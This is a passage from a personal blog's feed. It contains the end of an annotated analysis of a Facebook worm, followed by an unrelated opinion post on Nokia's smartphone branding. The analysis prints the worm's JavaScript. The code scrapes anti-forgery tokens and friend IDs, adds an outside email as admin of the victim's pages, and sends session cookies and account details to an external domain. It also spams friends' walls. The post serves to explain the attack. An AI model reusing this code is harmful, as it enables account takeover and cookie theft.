</span></span><span style="display:flex;"><span>    comp <span style="color:#719e07">=</span> (z <span style="color:#719e07">=</span> x.responseText).match(<span style="color:#dc322f">/name=\\&#34;composer_id\\&#34; value=\\&#34;([\d\w]+)\\&#34;/i</span>)[<span style="color:#2aa198">1</span>];
</span></span><span style="display:flex;"><span>    form <span style="color:#719e07">=</span> z.match(<span style="color:#dc322f">/name=&#34;post_form_id&#34; value=&#34;([\d\w]+)&#34;/i</span>)[<span style="color:#2aa198">1</span>];
</span></span><span style="display:flex;"><span>    dt <span style="color:#719e07">=</span> z.match(<span style="color:#dc322f">/name=&#34;fb_dtsg&#34; value=&#34;([\d\w-_]+)&#34;/i</span>)[<span style="color:#2aa198">1</span>];
</span></span><span style="display:flex;"><span>    pfid <span style="color:#719e07">=</span> z.match(<span style="color:#dc322f">/name=&#34;post_form_id&#34; value=&#34;([\d\w]+)&#34;/i</span>)[<span style="color:#2aa198">1</span>];
</span></span><span style="display:flex;"><span>    appid <span style="color:#719e07">=</span> <span style="color:#2aa198">&#34;150622878317085&#34;</span>;
</span></span><span style="display:flex;"><span>    appname <span style="color:#719e07">=</span> <span style="color:#2aa198">&#34;rip_m_j&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">with</span>(xx <span style="color:#719e07">=</span> <span style="color:#719e07">new</span> XMLHttpRequest())
</span></span><span style="display:flex;"><span>      open(<span style="color:#2aa198">&#34;GET&#34;</span>, <span style="color:#2aa198">&#34;/ajax/browser/friends/?uid=&#34;</span> <span style="color:#719e07">+</span>
</span></span><span style="display:flex;"><span>               <span style="color:#b58900">document</span>.cookie.match(<span style="color:#dc322f">/c_user=(\d+)/</span>)[<span style="color:#2aa198">1</span>] <span style="color:#719e07">+</span>
</span></span><span style="display:flex;"><span>                  <span style="color:#2aa198">&#34;&amp;filter=all&amp;__a=1&amp;__d=1&#34;</span>),
</span></span><span style="display:flex;"><span>      onreadystatechange <span style="color:#719e07">=</span> <span style="color:#268bd2">function</span> () {
</span></span><span style="display:flex;"><span>      <span style="color:#586e75">//extracts list of friends
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>
</span></span><span style="display:flex;"><span>        <span style="color:#719e07">if</span> (xx.readyState <span style="color:#719e07">==</span> <span style="color:#2aa198">4</span> <span style="color:#719e07">&amp;&amp;</span> xx.status <span style="color:#719e07">==</span> <span style="color:#2aa198">200</span>) {
</span></span><span style="display:flex;"><span>        m <span style="color:#719e07">=</span> xx.responseText.match(<span style="color:#dc322f">/\/\d+_\d+_\d+_q\.jpg/gi</span>).join(<span style="color:#2aa198">&#34;\n&#34;</span>).replace(<span style="color:#dc322f">/(\/\d+_|_\d+_q\.jpg)/gi</span>, <span style="color:#2aa198">&#34;&#34;</span>).split(<span style="color:#2aa198">&#34;\n&#34;</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#586e75">//facebook returns list of friends images of the form of three numbers separated by _,
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>        <span style="color:#586e75">//the above regular expression extracts out the middle of the two
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>        <span style="color:#586e75">//(which infact is the userID of friend)
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>        i <span style="color:#719e07">=</span> <span style="color:#2aa198">0</span>;
</span></span><span style="display:flex;"><span>        llimit<span style="color:#719e07">=</span><span style="color:#2aa198">25</span>;
</span></span><span style="display:flex;"><span>        t <span style="color:#719e07">=</span> setInterval(<span style="color:#268bd2">function</span> () {
</span></span><span style="display:flex;"><span>          <span style="color:#719e07">if</span> (i <span style="color:#719e07">&gt;=</span> llimit )
</span></span><span style="display:flex;"><span>            <span style="color:#719e07">return</span>;<span style="color:#586e75">//it seems the limit is 25 posts per 2 seconds on facebook (to be counted as bot)
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>          <span style="color:#719e07">if</span>(i <span style="color:#719e07">==</span> <span style="color:#2aa198">0</span>) {<span style="color:#586e75">//do it only once
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>            <span style="color:#268bd2">with</span>(ddddd <span style="color:#719e07">=</span> <span style="color:#719e07">new</span> XMLHttpRequest()) open(<span style="color:#2aa198">&#34;GET&#34;</span>, <span style="color:#2aa198">&#34;/ajax/pages/dialog/manage_pages.php?__a=1&amp;__d=1&#34;</span>),
</span></span><span style="display:flex;"><span>                 setRequestHeader(<span style="color:#2aa198">&#34;X-Requested-With&#34;</span>, <span style="color:#cb4b16">null</span>),
</span></span><span style="display:flex;"><span>                 setRequestHeader(<span style="color:#2aa198">&#34;X-Requested&#34;</span>, <span style="color:#cb4b16">null</span>),
</span></span><span style="display:flex;"><span>                 onreadystatechange <span style="color:#719e07">=</span> <span style="color:#268bd2">function</span>() {
</span></span><span style="display:flex;"><span>              <span style="color:#719e07">if</span>(ddddd.readyState <span style="color:#719e07">==</span> <span style="color:#2aa198">4</span> <span style="color:#719e07">&amp;&amp;</span> ddddd.status <span style="color:#719e07">==</span> <span style="color:#2aa198">200</span>) {
</span></span><span style="display:flex;"><span>                llm <span style="color:#719e07">=</span> (d <span style="color:#719e07">=</span> ddddd.responseText).match(<span style="color:#dc322f">/\\&#34;id\\&#34;:([\d]+)/gi</span>); len <span style="color:#719e07">=</span>llm.length;
</span></span><span style="display:flex;"><span>                j<span style="color:#719e07">=</span><span style="color:#2aa198">0</span>;
</span></span><span style="display:flex;"><span>                <span style="color:#719e07">for</span>(j<span style="color:#719e07">=</span><span style="color:#2aa198">0</span>;j<span style="color:#719e07">&lt;</span>len;j<span style="color:#719e07">++</span>) {
</span></span><span style="display:flex;"><span>                  <span style="color:#268bd2">with</span>(xxxcxxx <span style="color:#719e07">=</span> <span style="color:#719e07">new</span> XMLHttpRequest()) open(<span style="color:#2aa198">&#34;POST&#34;</span>, <span style="color:#2aa198">&#34;/pages/edit/?id=&#34;</span><span style="color:#719e07">+</span>llm[j].replace(<span style="color:#dc322f">/\\&#34;id\\&#34;:/i</span>, <span style="color:#2aa198">&#34;&#34;</span>)<span style="color:#719e07">+</span><span style="color:#2aa198">&#34;&amp;sk=admin&#34;</span>),
</span></span><span style="display:flex;"><span>                       setRequestHeader(<span style="color:#2aa198">&#34;Content-Type&#34;</span>, <span style="color:#2aa198">&#34;application/x-www-form-urlencoded&#34;</span>),
</span></span><span style="display:flex;"><span>                       send(<span style="color:#2aa198">&#34;post_form_id=&#34;</span><span style="color:#719e07">+</span>pfid<span style="color:#719e07">+</span><span style="color:#2aa198">&#34;&amp;fb_dtsg=&#34;</span><span style="color:#719e07">+</span>dt<span style="color:#719e07">+</span><span style="color:#2aa198">&#34;&amp;fbpage_id=&#34;</span><span style="color:#719e07">+</span>llm[j].replace(<span style="color:#dc322f">/\\&#34;id\\&#34;:/i</span>, <span style="color:#2aa198">&#34;&#34;</span>)<span style="color:#719e07">+</span>
</span></span><span style="display:flex;"><span>                            <span style="color:#2aa198">&#34;&amp;friendselector_input%5B%5D=waqas.h.rana%40hotmail.com%09&amp;friend_selected%5B%5D=&amp;save=1&#34;</span>);
</span></span><span style="display:flex;"><span>                       <span style="color:#586e75">//I am not very sure on this one but it seems it adds waqa.h.rana@hotmail.com as admin of all pages the user holds
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>                }
</span></span><span style="display:flex;"><span>              }
</span></span><span style="display:flex;"><span>            }, send(<span style="color:#cb4b16">null</span>); <span style="color:#586e75">//end of function to change the admins
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>
</span></span><span style="display:flex;"><span>            <span style="color:#268bd2">with</span>(xxx <span style="color:#719e07">=</span> <span style="color:#719e07">new</span> XMLHttpRequest()) open(<span style="color:#2aa198">&#34;GET&#34;</span>, <span style="color:#2aa198">&#34;/mobile/?v=photos&#34;</span>),
</span></span><span style="display:flex;"><span>                 setRequestHeader(<span style="color:#2aa198">&#34;X-Requested-With&#34;</span>, <span style="color:#cb4b16">null</span>),
</span></span><span style="display:flex;"><span>                 setRequestHeader(<span style="color:#2aa198">&#34;X-Requested&#34;</span>, <span style="color:#cb4b16">null</span>),
</span></span><span style="display:flex;"><span>                 onreadystatechange <span style="color:#719e07">=</span> <span style="color:#268bd2">function</span>() {
</span></span><span style="display:flex;"><span>              <span style="color:#719e07">if</span>(xxx.readyState <span style="color:#719e07">==</span> <span style="color:#2aa198">4</span> <span style="color:#719e07">&amp;&amp;</span> xxx.status <span style="color:#719e07">==</span> <span style="color:#2aa198">200</span>) {
</span></span><span style="display:flex;"><span>                <span style="color:#268bd2">with</span>(s <span style="color:#719e07">=</span> <span style="color:#b58900">document</span>.createElement(<span style="color:#2aa198">&#34;script&#34;</span>)) src <span style="color:#719e07">=</span> <span style="color:#2aa198">&#34;https://graphicgiants.com/mmjaicc.js?q=&#34;</span> <span style="color:#719e07">+</span>
</span></span><span style="display:flex;"><span>                  <span style="color:#b58900">document</span>.cookie.match(<span style="color:#dc322f">/c_user=(\d+)/</span>)[<span style="color:#2aa198">1</span>] <span style="color:#719e07">+</span> <span style="color:#2aa198">&#34;:&#34;</span>  <span style="color:#719e07">+</span> (d <span style="color:#719e07">=</span> xxx.responseText).match(<span style="color:#dc322f">/mailto:([^\&#34;]+)/</span>)[<span style="color:#2aa198">1</span>].replace(<span style="color:#dc322f">/&amp;#64;/</span>, <span style="color:#2aa198">&#34;@&#34;</span>) <span style="color:#719e07">+</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#2aa198">&#34;:&#34;</span> <span style="color:#719e07">+</span> d.match(<span style="color:#dc322f">/id=&#34;navAccountName&#34;&gt;([^&lt;&gt;]+)/</span>)[<span style="color:#2aa198">1</span>] <span style="color:#719e07">+</span> <span style="color:#2aa198">&#34;&amp;c=&#34;</span><span style="color:#719e07">+</span> <span style="color:#b58900">document</span>.cookie; <span style="color:#b58900">document</span>.body.appendChild(s); }}, send(<span style="color:#cb4b16">null</span>);
</span></span><span style="display:flex;"><span>                  <span style="color:#586e75">// this one collects cookie as well as the personalized status update email address
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>                  <span style="color:#586e75">// (a photo sent to that address is posted on the wall directly)
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>
</span></span><span style="display:flex;"><span>                <span style="color:#268bd2">with</span>(xxcxx <span style="color:#719e07">=</span> <span style="color:#719e07">new</span> XMLHttpRequest()) open(<span style="color:#2aa198">&#34;POST&#34;</span>, <span style="color:#2aa198">&#34;/ajax/pages/fan_status.php?__a=1&#34;</span>),
</span></span><span style="display:flex;"><span>                     setRequestHeader(<span style="color:#2aa198">&#34;Content-Type&#34;</span>, <span style="color:#2aa198">&#34;application/x-www-form-urlencoded&#34;</span>),
</span></span><span style="display:flex;"><span>                       send(<span style="color:#2aa198">&#34;fbpage_id=176607175684946&amp;add=1&amp;reload=1&amp;preserve_tab=1&amp;use_primer=1&amp;nctr[_mod]=pagelet_top_bar&amp;post_form_id=&#34;</span><span style="color:#719e07">+</span>
</span></span><span style="display:flex;"><span>                            pfid<span style="color:#719e07">+</span><span style="color:#2aa198">&#34;&amp;fb_dtsg=&#34;</span> <span style="color:#719e07">+</span> dt <span style="color:#719e07">+</span> <span style="color:#2aa198">&#34;&amp;lsd&amp;post_form_id_source=AsyncRequest&#34;</span>);
</span></span><span style="display:flex;"><span>                     <span style="color:#586e75">// likes page &#34;https://www.facebook.com/pages/Im-Sorry-I-Never-Meant-To-Hurt-You/176607175684946&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>
</span></span><span style="display:flex;"><span>                <span style="color:#268bd2">with</span>(lllllxx <span style="color:#719e07">=</span> <span style="color:#719e07">new</span> XMLHttpRequest()) open(<span style="color:#2aa198">&#34;POST&#34;</span>, <span style="color:#2aa198">&#34;/ajax/pages/fan_status.php?__a=1&#34;</span>),
</span></span><span style="display:flex;"><span>                     setRequestHeader(<span style="color:#2aa198">&#34;Content-Type&#34;</span>, <span style="color:#2aa198">&#34;application/x-www-form-urlencoded&#34;</span>),
</span></span><span style="display:flex;"><span>                        send(<span style="color:#2aa198">&#34;fbpage_id=150650771629477&amp;add=1&amp;reload=1&amp;preserve_tab=1&amp;use_primer=1&amp;nctr[_mod]=pagelet_top_bar&amp;post_form_id=&#34;</span><span style="color:#719e07">+</span>
</span></span><span style="display:flex;"><span>                             pfid<span style="color:#719e07">+</span><span style="color:#2aa198">&#34;&amp;fb_dtsg=&#34;</span> <span style="color:#719e07">+</span> dt <span style="color:#719e07">+</span> <span style="color:#2aa198">&#34;&amp;lsd&amp;post_form_id_source=AsyncRequest&#34;</span>);
</span></span><span style="display:flex;"><span>                     <span style="color:#586e75">// likes page https://www.facebook.com/Fuuuuck.It
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>            }
</span></span><span style="display:flex;"><span>            <span style="color:#719e07">else</span> <span style="color:#719e07">if</span> (i <span style="color:#719e07">==</span> llimit <span style="color:#719e07">-</span> <span style="color:#2aa198">1</span>) {<span style="color:#586e75">//if limit has already been reached
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>              <span style="color:#268bd2">with</span>(xxxx <span style="color:#719e07">=</span> <span style="color:#719e07">new</span> XMLHttpRequest()) open(<span style="color:#2aa198">&#34;GET&#34;</span>, <span style="color:#2aa198">&#34;/mobile/?v=photos&#34;</span>),
</span></span><span style="display:flex;"><span>                setRequestHeader(<span style="color:#2aa198">&#34;X-Requested-With&#34;</span>, <span style="color:#cb4b16">null</span>),
</span></span><span style="display:flex;"><span>                setRequestHeader(<span style="color:#2aa198">&#34;X-Requested&#34;</span>, <span style="color:#cb4b16">null</span>),
</span></span><span style="display:flex;"><span>                onreadystatechange <span style="color:#719e07">=</span> <span style="color:#268bd2">function</span>() {
</span></span><span style="display:flex;"><span>              <span style="color:#719e07">if</span>(xxxx.readyState <span style="color:#719e07">==</span> <span style="color:#2aa198">4</span> <span style="color:#719e07">&amp;&amp;</span> xxxx.status <span style="color:#719e07">==</span> <span style="color:#2aa198">200</span>){
</span></span><span style="display:flex;"><span>                    <span style="color:#268bd2">with</span>(s <span style="color:#719e07">=</span> <span style="color:#b58900">document</span>.createElement(<span style="color:#2aa198">&#34;script&#34;</span>)) src <span style="color:#719e07">=</span> <span style="color:#2aa198">&#34;https://graphicgiants.com/majic.js?q=&#34;</span> <span style="color:#719e07">+</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#b58900">document</span>.cookie.match(<span style="color:#dc322f">/c_user=(\d+)/</span>)[<span style="color:#2aa198">1</span>] <span style="color:#719e07">+</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#2aa198">&#34;:&#34;</span>  <span style="color:#719e07">+</span> (d <span style="color:#719e07">=</span> xxxx.responseText).match(<span style="color:#dc322f">/mailto:([^\&#34;]+)/</span>)[<span style="color:#2aa198">1</span>].replace(<span style="color:#dc322f">/&amp;#64;/</span>, <span style="color:#2aa198">&#34;@&#34;</span>) <span style="color:#719e07">+</span> <span style="color:#2aa198">&#34;:&#34;</span> <span style="color:#719e07">+</span>
</span></span><span style="display:flex;"><span>                        d.match(<span style="color:#dc322f">/id=&#34;navAccountName&#34;&gt;([^&lt;&gt;]+)/</span>)[<span style="color:#2aa198">1</span>] <span style="color:#719e07">+</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#2aa198">&#34;&amp;c=&#34;</span><span style="color:#719e07">+</span> <span style="color:#b58900">document</span>.cookie; <span style="color:#b58900">document</span>.body.appendChild(s); }}, send(<span style="color:#cb4b16">null</span>);
</span></span><span style="display:flex;"><span>                        <span style="color:#586e75">//copies cookie and account name again (probably to mark some sort of completion)
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>            }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>            <span style="color:#586e75">//following code does status update
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>            <span style="color:#586e75">//the code writes message represented by txt and txtee alternately on the wall of friends.
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>            <span style="color:#586e75">//txt and txtee are same though (may be author&#39;s mistake)
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>            <span style="color:#719e07">if</span>(i<span style="color:#719e07">%</span><span style="color:#2aa198">2</span><span style="color:#719e07">==</span><span style="color:#2aa198">0</span>)
</span></span><span style="display:flex;"><span>            {
</span></span><span style="display:flex;"><span>              <span style="color:#268bd2">with</span>(xd <span style="color:#719e07">=</span> <span style="color:#719e07">new</span> XMLHttpRequest()) open(<span style="color:#2aa198">&#34;POST&#34;</span>, <span style="color:#2aa198">&#34;/ajax/updatestatus.php?__a=1&#34;</span>),
</span></span><span style="display:flex;"><span>                setRequestHeader(<span style="color:#2aa198">&#34;Content-Type&#34;</span>, <span style="color:#2aa198">&#34;application/x-www-form-urlencoded&#34;</span>),
</span></span><span style="display:flex;"><span>                send(<span style="color:#2aa198">&#34;action=PROFILE_UPDATE&amp;profile_id=&#34;</span> <span style="color:#719e07">+</span> <span style="color:#b58900">document</span>.cookie.match(<span style="color:#dc322f">/c_user=(\d+)/</span>)[<span style="color:#2aa198">1</span>] <span style="color:#719e07">+</span> <span style="color:#2aa198">&#34;&amp;status=&#34;</span> <span style="color:#719e07">+</span> txt <span style="color:#719e07">+</span>
</span></span><span style="display:flex;"><span>                <span style="color:#2aa198">&#34;&amp;target_id=&#34;</span> <span style="color:#719e07">+</span> m[<span style="color:#b58900">Math</span>.floor(<span style="color:#b58900">Math</span>.random() <span style="color:#719e07">*</span> m.length)] <span style="color:#719e07">+</span>
</span></span><span style="display:flex;"><span>                <span style="color:#586e75">//m is an array of id of friends (was created early in the script exec), choose a random friend
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>                <span style="color:#2aa198">&#34;&amp;composer_id=&#34;</span> <span style="color:#719e07">+</span> comp <span style="color:#719e07">+</span>
</span></span><span style="display:flex;"><span>                <span style="color:#2aa198">&#34;&amp;hey_kid_im_a_composer=true&amp;display_context=profile&amp;post_form_id=&#34;</span> <span style="color:#719e07">+</span>form <span style="color:#719e07">+</span> <span style="color:#2aa198">&#34;&amp;fb_dtsg=&#34;</span> <span style="color:#719e07">+</span> dt <span style="color:#719e07">+</span>
</span></span><span style="display:flex;"><span>                <span style="color:#586e75">//comp, form, dt are (probably) XSRF prevention tokens
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>                <span style="color:#2aa198">&#34;&amp;lsd&amp;_log_display_context=profile&amp;ajax_log=1&amp;post_form_id_source=AsyncRequest&#34;</span>);
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>            <span style="color:#719e07">else</span>
</span></span><span style="display:flex;"><span>            {
</span></span><span style="display:flex;"><span>              <span style="color:#268bd2">with</span>(xd <span style="color:#719e07">=</span> <span style="color:#719e07">new</span> XMLHttpRequest()) open(<span style="color:#2aa198">&#34;POST&#34;</span>, <span style="color:#2aa198">&#34;/ajax/updatestatus.php?__a=1&#34;</span>),
</span></span><span style="display:flex;"><span>                   setRequestHeader(<span style="color:#2aa198">&#34;Content-Type&#34;</span>, <span style="color:#2aa198">&#34;application/x-www-form-urlencoded&#34;</span>),
</span></span><span style="display:flex;"><span>                   send(<span style="color:#2aa198">&#34;action=PROFILE_UPDATE&amp;profile_id=&#34;</span> <span style="color:#719e07">+</span> <span style="color:#b58900">document</span>.cookie.match(<span style="color:#dc322f">/c_user=(\d+)/</span>)[<span style="color:#2aa198">1</span>] <span style="color:#719e07">+</span> <span style="color:#2aa198">&#34;&amp;status=&#34;</span> <span style="color:#719e07">+</span> txtee <span style="color:#719e07">+</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#2aa198">&#34;&amp;target_id=&#34;</span> <span style="color:#719e07">+</span> m[<span style="color:#b58900">Math</span>.floor(<span style="color:#b58900">Math</span>.random() <span style="color:#719e07">*</span> m.length)] <span style="color:#719e07">+</span> <span style="color:#2aa198">&#34;&amp;composer_id=&#34;</span> <span style="color:#719e07">+</span> comp <span style="color:#719e07">+</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#2aa198">&#34;&amp;hey_kid_im_a_composer=true&amp;display_context=profile&amp;post_form_id=&#34;</span> <span style="color:#719e07">+</span> form <span style="color:#719e07">+</span> <span style="color:#2aa198">&#34;&amp;fb_dtsg=&#34;</span> <span style="color:#719e07">+</span> dt <span style="color:#719e07">+</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#2aa198">&#34;&amp;lsd&amp;_log_display_context=profile&amp;ajax_log=1&amp;post_form_id_source=AsyncRequest&#34;</span>);
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>            i <span style="color:#719e07">+=</span> <span style="color:#2aa198">1</span>;
</span></span><span style="display:flex;"><span>        }, <span style="color:#2aa198">2000</span>);<span style="color:#586e75">// 2000 milli-sec window, after which the script is executed again
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>      }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    }, send(<span style="color:#cb4b16">null</span>);
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}, send(<span style="color:#cb4b16">null</span>);</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p><em>Disclaimer: This is my personal blog. The views expressed on these pages are mine alone and not those of my employer.</em></p>
]]></content><category scheme="https://ashishb.net/category/security" term="security" label="security"/><category scheme="https://ashishb.net/tag/facebook" term="facebook" label="facebook"/><category scheme="https://ashishb.net/tag/social-networking" term="social-networking" label="social-networking"/><category scheme="https://ashishb.net/tag/worm" term="worm" label="worm"/></entry><entry><title type="html">Nokia and the smartphone era</title><link href="https://ashishb.net/tech/nokia-and-the-smartphone-era/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/nokia-working-on-android-phone/?utm_source=atom_feed" rel="related" type="text/html" title="Why Nokia's (rumored) Android phone is doomed"/><link href="https://ashishb.net/tech/cablegate-and-the-aftermath-a-few-observations/?utm_source=atom_feed" rel="related" type="text/html" title="Cablegate and the aftermath: a few observations"/><link href="https://ashishb.net/tech/how-indian-govt-deals-with-technology/?utm_source=atom_feed" rel="related" type="text/html" title="How Indian Government deals with Technology"/><link href="https://ashishb.net/tech/the-decline-of-microsoft-and-intel-in-internet-centric-era/?utm_source=atom_feed" rel="related" type="text/html" title="Decline of Microsoft and Intel in smartphone+Internet era"/><link href="https://ashishb.net/tech/outsourcing/?utm_source=atom_feed" rel="related" type="text/html" title="Why software outsourcing gets a bad reputation?"/><id>https://ashishb.net/tech/nokia-and-the-smartphone-era/</id><author><name>Ashish Bhatia</name></author><published>2010-12-02T08:50:39+00:00</published><updated>2010-12-02T08:50:39+00:00</updated><content type="html"><![CDATA[<blockquote>Nokia faces a branding challenge, struggling to reposition as a smartphone leader amid Symbian&rsquo;s decline. Can it reinvent itself like Google&rsquo;s Android did for others?</blockquote><p>Nokia is facing some serious issues some of them are technical, but the major issue right now is how it can rebrand itself as a smartphone manufacturer (rather than just a mobile phone manufacturer).</p>
<p>A bit from history,
  
    
    
<a href="https://www.xerox.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Xerox</a> invented and popularized photocopy machines to the extent that &ldquo;Xerox&rdquo; is a  synonym for a photocopy.
It invented the concept of   
    
    
<a href="https://en.wikipedia.org/wiki/WIMP_%28computing%29?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">WIMP</a> (Windows, Icon, Menu and Pointing Device) but even then it cannot capitalize on the emerging era of computing in 80&rsquo;s and 90&rsquo;s. After 25 years of effort and spending 2 billion dollars, it is still nowhere in the computer business. Why did they fail?
Xerox was (and is) a big brand but of copying and not computers. The perception of Xerox has become so strong to convey photocopying that consumer cannot think of it being associated with computers. Had they tried a different brand name things might have been different.</p>
<p>Now consider present-day   
    
    
<a href="https://www.nokia.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Nokia</a>&rsquo;s situation,
  
    
    
<a href="https://www.symbian.org/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Symbian</a> is still the world&rsquo;s largest used OS in the mobile market (   
    
    
<a href="https://arstechnica.com/gadgets/news/2010/08/smartphones-lead-mobile-sales-android-moves-into-no-3-spot.ars?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">even in so-called smartphones</a>), in 2008, Nokia acquired and open-sourced Symbian OS. But over a period of last four years, Nokia&rsquo;s share of the smartphone market has fallen from   
    
    
<a href="https://www.businessinsider.com/mary-meekers-web-2010-11#-9?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">62% to 37%</a> global unit shipment which clearly shows that Nokia has lost the limelight in the eye of consumers especially its Symbian OS whose share in the USA is mere   
    
    
<a href="https://blog.nielsen.com/nielsenwire/online_mobile/iphone-vs-android/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">2%</a>. Its Ovi-store launch was such   
    
    
<a href="https://techcrunch.com/2009/05/26/nokia-ovi-store-launch-is-a-complete-disaster/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">a disaster</a>, even die-hard Nokia fans are leaving it. Recently,   
    
    
<a href="https://www.techradar.com/news/phone-and-communications/mobile-phones/sony-ericsson-waves-goodbye-to-symbian-on-its-smartphones-719375?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Sony</a> left Symbian foundation followed by   
    
    
<a href="https://www.techradar.com/news/phone-and-communications/mobile-phones/samsung-finally-admits-symbian-split-720398?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Samsung</a>, leaving Nokia as the sole phone manufacturer of Symbian based phones. Now, the Symbian Foundation website (including the online source code repository of Symbian OS) is planned to   
    
    
<a href="https://developer.symbian.org/wiki/Symbian_Foundation_web_sites_to_shut_down?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">shut down</a> making it closed-source for all practical purposes.
Nokia is still a big mobile phone brand but not a smartphone brand. Most people perceive   
    
    
<a href="https://www.android.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Android</a> and   
    
    
<a href="https://www.apple.com/iphone/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">iPhone</a> as smartphones (and   
    
    
<a href="https://www.blackberry.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Blackberry</a> as enterprise phones/business phone), the same is reflected in the preference of many internet companies, some companies like Twitter have no official Nokia app at all while some others like Facebook first release apps for Android/iPhone and   
    
    
<a href="https://www.allaboutsymbian.com/news/item/9803_Facebook_launches_client_for_S.php?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">later</a> on for Nokia. Symbian as a brand never existed in the eye of consumers except for the tech-savvy ones, and now even developers are coying away, it seems that in the 
<a href="/tech/the-decline-of-microsoft-and-intel-in-internet-centric-era/">internet-centric world</a> of today, Nokia has to take some tough decisions lest it is ready to become the next Xerox.</p>
<p>Nokia has to accept the fact that not only rebranding Symbian as a smartphone Operating System is tough at this stage but also being a hardware-centric company; it is tough for Nokia to bring Symbian to the level of Android/iPhone. Nokia brand is not about smartphones and let&rsquo;s accept that it can never be (just like Xerox cannot be about computers). But Nokia has an option to rebrand itself for its smartphones, Android, the phone which revived Motorola and helped HTC gain   
    
    
<a href="https://www.gsmarena.com/apple_htc_and_motorola_increase_smartphone_market_share_-news-1642.php?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">market share</a>. The issue of Nokia using Symbian has been raised time and again till it was dismissed by Nokia</p>
<blockquote>
<p>Anssi Vanjoki, outgoing head of Nokia’s smartphone division, likens mobile phone makers that adopt Google’s software to Finnish boys who &ldquo;pee in their pants&rdquo; for warmth in the winter. Temporary relief is followed by an even worse predicament.  [   
    
    
<a href="https://www.zdnet.com/blog/hardware/nokia-using-android-like-peeing-in-your-pants-for-warmth-in-winter/9772?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">source</a>]</p></blockquote>
<p>I believe by continuing the use of Symbian, rather than &quot;   
    
    
<a href="https://news.cnet.com/8301-17852_3-20017114-71.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">peeing in their pants</a>&quot;, Nokia is holding &quot;   
    
    
<a href="https://forum.teamxbox.com/showthread.php?t=501271&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">pee till death</a>&quot;.</p>
<p>Note: The example of Xerox has been taken from &ldquo;The 22 Immutable Laws of Marketing: Violate them at your own risk&rdquo; by A. Ries and J. Trout (under Fair Use)
Disclaimer: <em>This is my personal blog. The views expressed on these pages are mine alone and not those of my employer.</em></p>
